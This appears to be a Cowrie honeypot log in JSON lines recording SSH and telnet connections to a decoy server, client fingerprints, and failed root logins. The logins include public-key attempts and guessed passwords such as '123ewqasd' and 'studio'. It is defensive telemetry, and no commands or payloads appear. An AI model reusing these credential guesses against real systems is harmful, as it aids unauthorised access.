{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:b6:32:91:84:43:52:99:0d:41:21:ce:14:97:12:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYCU6KCbQ2G808IEKty1FUWr6WZgVU+KjEleYCJrx9zBW4dtaAawDYRJGfy7tuv7DTh6WLScSim9d7XQocNkYpjleF8Pqh0tLMxrGJ+ptAV/f8ExZ+EjobopSV962gO/uyN3qM84x8ETBP0kPQGp6y35pgcJa7FQrUtnmKE6nWUz/1sGyOqg7eMCpuqsQLa77UCLAzy05ccp340ks0HBU9yLxQvHcgt86Fxig+5/k4h18YeQgVm1Ouxu17Zj+KYd2MGJtVgtbMooPlmJpE17/WWALb/pNVvrwP4YfHgr4JLq/vFCa7ho9EudlDzYw5DtdnaRpvVVkkzJ5QuF9r/vfd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.362588Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:85:c0:bd:46:e2:96:c7:ed:3e:b3:63:05:af:14:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSL8d8bg7nfN1K8LL7/CuA8vWRvXG6HOx8tIyETGMAOEmzdTNf2BcNqw2il1VGwqg/DvEX/IBLNDyYwrrCTk6No7WRnoQimIATLWCYt9ONnKvOdxypSBV1YRLRDeuqYELFJ+zTtAP0Xy0gsm9O8CLHuctm8Ug9xoGGq1WBMRqxqTiTYR9+0ZS1YmUkdwb8nufU4KdfZHXZw5B8Hk1VmwIv+QGyL1d/4RbDu+VkJGOElQq3pDnsfTqs+ytomQO4VTkh3tNwb6nuQ9q0ji2/dqaHSci6+pT7f8iNNFk7Y2ayXH0CYq9q6z7ChD5eNyeoJ6E9pQGgHy37qXdnimVRLo8l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:85:c0:bd:46:e2:96:c7:ed:3e:b3:63:05:af:14:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.470826Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:85:c0:bd:46:e2:96:c7:ed:3e:b3:63:05:af:14:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSL8d8bg7nfN1K8LL7/CuA8vWRvXG6HOx8tIyETGMAOEmzdTNf2BcNqw2il1VGwqg/DvEX/IBLNDyYwrrCTk6No7WRnoQimIATLWCYt9ONnKvOdxypSBV1YRLRDeuqYELFJ+zTtAP0Xy0gsm9O8CLHuctm8Ug9xoGGq1WBMRqxqTiTYR9+0ZS1YmUkdwb8nufU4KdfZHXZw5B8Hk1VmwIv+QGyL1d/4RbDu+VkJGOElQq3pDnsfTqs+ytomQO4VTkh3tNwb6nuQ9q0ji2/dqaHSci6+pT7f8iNNFk7Y2ayXH0CYq9q6z7ChD5eNyeoJ6E9pQGgHy37qXdnimVRLo8l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.475263Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:44:2f:16:b0:8d:5b:da:aa:14:2d:c4:47:65:75:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkmN8zSqfcGmEEPSyVttLWh0bPlKIwaX7KgISPkrB0kaYc+dD20bXJFbZt3e8r7V/rUC78aq3qxddP7fPXy/JCg5U9Ur4wpEPMIvGGDTryII2zz/pnqea+ve3AEI3HPeEeR4dWVwTNUCzHJBl59QRHTw0L5agdh+u1LUDl1d7sWzl6Ccc/hGYR9dPuwjHJivp9SgHTOA6RrdpsTDYa5X/DZkf2ODXlLDtyBvBIF6u1o0A/sGhL2yNLPGolJXw06EgGoCPQttLScIq0rEHYygqg82czWIt6Z9B0tpS6NusKOE9MWkyMNWBQqYOBw04BLnSsMsmcxmArVyUwvwbIYbrT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:44:2f:16:b0:8d:5b:da:aa:14:2d:c4:47:65:75:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.575273Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:44:2f:16:b0:8d:5b:da:aa:14:2d:c4:47:65:75:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkmN8zSqfcGmEEPSyVttLWh0bPlKIwaX7KgISPkrB0kaYc+dD20bXJFbZt3e8r7V/rUC78aq3qxddP7fPXy/JCg5U9Ur4wpEPMIvGGDTryII2zz/pnqea+ve3AEI3HPeEeR4dWVwTNUCzHJBl59QRHTw0L5agdh+u1LUDl1d7sWzl6Ccc/hGYR9dPuwjHJivp9SgHTOA6RrdpsTDYa5X/DZkf2ODXlLDtyBvBIF6u1o0A/sGhL2yNLPGolJXw06EgGoCPQttLScIq0rEHYygqg82czWIt6Z9B0tpS6NusKOE9MWkyMNWBQqYOBw04BLnSsMsmcxmArVyUwvwbIYbrT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.579430Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d1:6a:cc:28:f0:22:54:4c:1a:75:44:96:71:de:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDG7qFFp3hxfVOZbTlaog7gymMgkkJOdGBH9rhsTt1B11EQDF5iLxhe3/5dJxJMNMM7hqBFxn5OSI10YwNt0OU2xvQX4owfKHrAlBpt2i3GSuoK6GC5cdoD0mz9Sx+a0wAavPzbV0QnCg0CEGpX+MQLifZwnzaRGJDOl8MPyOsFvSHN0hbRkXfDcHQ4rd14IUuzAc7Ol8cqcmowmQWoAjPbqnHJdicSQ003HYrO9tlQ6CVDIg5DuGH2sD1w12TzZuSP+SZ35EYHWIn6Qz28ANwL/b4K4p4Z9KFDhcCWBRtpeiwbCo0WydKAMjEAESQ1BVUalnTMEohP5fWTAbUAUeSO23UHoMDh1ToaYnp7m2IVAWVOtSWL2F2DUscqy1YcPxRHzJ8ea1hw8mUIHAte+A7xK5BYj/DcORMHwMYrjEkpU6JyzPeiK6GV+bpax4wCauUUSVyz9qqcb1tIIFWMw9lEYEkxaXxIRdgmeHis0a1KNYvBvXCg5ljC7Ll+1dxB6Tc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:d1:6a:cc:28:f0:22:54:4c:1a:75:44:96:71:de:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.675797Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d1:6a:cc:28:f0:22:54:4c:1a:75:44:96:71:de:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDG7qFFp3hxfVOZbTlaog7gymMgkkJOdGBH9rhsTt1B11EQDF5iLxhe3/5dJxJMNMM7hqBFxn5OSI10YwNt0OU2xvQX4owfKHrAlBpt2i3GSuoK6GC5cdoD0mz9Sx+a0wAavPzbV0QnCg0CEGpX+MQLifZwnzaRGJDOl8MPyOsFvSHN0hbRkXfDcHQ4rd14IUuzAc7Ol8cqcmowmQWoAjPbqnHJdicSQ003HYrO9tlQ6CVDIg5DuGH2sD1w12TzZuSP+SZ35EYHWIn6Qz28ANwL/b4K4p4Z9KFDhcCWBRtpeiwbCo0WydKAMjEAESQ1BVUalnTMEohP5fWTAbUAUeSO23UHoMDh1ToaYnp7m2IVAWVOtSWL2F2DUscqy1YcPxRHzJ8ea1hw8mUIHAte+A7xK5BYj/DcORMHwMYrjEkpU6JyzPeiK6GV+bpax4wCauUUSVyz9qqcb1tIIFWMw9lEYEkxaXxIRdgmeHis0a1KNYvBvXCg5ljC7Ll+1dxB6Tc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.680152Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:f5:08:ee:67:ae:64:9b:1a:6f:d9:8d:02:64:ac:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr5uB5A3CRcBy249OWrf0jIDSsg4e0HnFVvskpiWtJEW/biLUeR9BmclqTzbkbR0R365PBeBwKagrTF40aPpRWVBmSSXDiRuJyro4cqniTCw3k9Bl89OYfP2SkZAkl+XLQL/nRwNb5KgnSEY42mDC4Bn23PNSm/kWOONyPR9SGf4jMO5Hsc/xHdfo5FlxQSaXnCfX6EqFkud8xOksEkcwlIZ5NWSFlQBcO25kQmrN4XBe09ggLSMI5/DReRhLLBhn5e08uxJPhHcFwLR0sd/yf1MU2gDk1YJBljiGZAh6f0bDn2KSskO3Ecxq8MYx9zGzHMrL4zSWiUv4YYA8gsTrEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:f5:08:ee:67:ae:64:9b:1a:6f:d9:8d:02:64:ac:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.776123Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:f5:08:ee:67:ae:64:9b:1a:6f:d9:8d:02:64:ac:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr5uB5A3CRcBy249OWrf0jIDSsg4e0HnFVvskpiWtJEW/biLUeR9BmclqTzbkbR0R365PBeBwKagrTF40aPpRWVBmSSXDiRuJyro4cqniTCw3k9Bl89OYfP2SkZAkl+XLQL/nRwNb5KgnSEY42mDC4Bn23PNSm/kWOONyPR9SGf4jMO5Hsc/xHdfo5FlxQSaXnCfX6EqFkud8xOksEkcwlIZ5NWSFlQBcO25kQmrN4XBe09ggLSMI5/DReRhLLBhn5e08uxJPhHcFwLR0sd/yf1MU2gDk1YJBljiGZAh6f0bDn2KSskO3Ecxq8MYx9zGzHMrL4zSWiUv4YYA8gsTrEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.779997Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:02:58.877222Z","src_ip":"213.199.52.47","session":"30d0ace43aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.50080609321594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:01.571553Z","src_ip":"152.42.224.71","session":"828f0fc10c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"203794151ad8","protocol":"telnet","message":"New connection: 152.42.224.71:48328 (10.17.0.5:23) [session: 203794151ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:02.888463Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48320,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca6da989c03","protocol":"telnet","message":"New connection: 152.42.224.71:48320 (10.17.0.5:23) [session: cca6da989c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:03.204055Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":57072,"dst_ip":"10.17.0.5","dst_port":22,"session":"f527552ca34d","protocol":"ssh","message":"New connection: 79.117.24.180:57072 (10.17.0.5:22) [session: f527552ca34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:08.174569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:08.182353Z","src_ip":"79.117.24.180","session":"f527552ca34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:08.298652Z","src_ip":"79.117.24.180","session":"f527552ca34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ewqasd","message":"login attempt [root/123ewqasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:08.794872Z","src_ip":"79.117.24.180","session":"f527552ca34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:09.913597Z","src_ip":"79.117.24.180","session":"f527552ca34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.15993118286133,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:15.314748Z","src_ip":"152.42.224.71","session":"0603b4cfa9ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":58812,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc9bc6ec878","protocol":"ssh","message":"New connection: 43.156.63.254:58812 (10.17.0.5:22) [session: efc9bc6ec878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:15.376190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:15.381393Z","src_ip":"43.156.63.254","session":"efc9bc6ec878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:15.618554Z","src_ip":"43.156.63.254","session":"efc9bc6ec878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"studio","message":"login attempt [root/studio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:16.597507Z","src_ip":"43.156.63.254","session":"efc9bc6ec878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.118159532547,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:17.281228Z","src_ip":"152.42.224.71","session":"7cf0a402c0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:17.837051Z","src_ip":"43.156.63.254","session":"efc9bc6ec878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41562,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f48a48f86b","protocol":"telnet","message":"New connection: 152.42.224.71:41562 (10.17.0.5:23) [session: 01f48a48f86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:17.882989Z"}
{"eventid":"cowrie.session.closed","duration":49.878089427948,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:18.760338Z","src_ip":"152.42.224.71","session":"1ad17d6353fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.819719552993774,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:21.475750Z","src_ip":"152.42.224.71","session":"1d96b18db155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.287790060043335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:23.365262Z","src_ip":"152.42.224.71","session":"55bcb09203af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":49220,"dst_ip":"10.17.0.5","dst_port":22,"session":"8162ba9bfba4","protocol":"ssh","message":"New connection: 171.244.37.103:49220 (10.17.0.5:22) [session: 8162ba9bfba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:24.005558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:24.010097Z","src_ip":"171.244.37.103","session":"8162ba9bfba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:24.257577Z","src_ip":"171.244.37.103","session":"8162ba9bfba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"archive","message":"login attempt [root/archive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:25.280741Z","src_ip":"171.244.37.103","session":"8162ba9bfba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:26.531710Z","src_ip":"171.244.37.103","session":"8162ba9bfba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6160ae56ff1f","protocol":"telnet","message":"New connection: 152.42.224.71:55838 (10.17.0.5:23) [session: 6160ae56ff1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:30.517222Z"}
{"eventid":"cowrie.session.closed","duration":44.87349343299866,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:34.588049Z","src_ip":"152.42.224.71","session":"312082bc2614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.54786682128906,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:35.099246Z","src_ip":"152.42.224.71","session":"2d86c8760a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7f62066370","protocol":"telnet","message":"New connection: 152.42.224.71:55852 (10.17.0.5:23) [session: 8f7f62066370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:37.106030Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2cc353dbd3","protocol":"telnet","message":"New connection: 152.42.224.71:40614 (10.17.0.5:23) [session: 0c2cc353dbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:38.604300Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40646,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a258292420b","protocol":"telnet","message":"New connection: 152.42.224.71:40646 (10.17.0.5:23) [session: 0a258292420b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:39.433487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40630,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de402d90e56","protocol":"telnet","message":"New connection: 152.42.224.71:40630 (10.17.0.5:23) [session: 1de402d90e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:39.881212Z"}
{"eventid":"cowrie.session.closed","duration":51.32435655593872,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:41.272377Z","src_ip":"152.42.224.71","session":"eaf13737f769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59603762626648,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:47.799972Z","src_ip":"152.42.224.71","session":"cca6da989c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":34612,"dst_ip":"10.17.0.5","dst_port":22,"session":"54962c93c8df","protocol":"ssh","message":"New connection: 43.134.142.250:34612 (10.17.0.5:22) [session: 54962c93c8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:49.045848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:49.050086Z","src_ip":"43.134.142.250","session":"54962c93c8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.36731815338135,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:49.271897Z","src_ip":"152.42.224.71","session":"ba7e65225000","protocol":"telnet"}
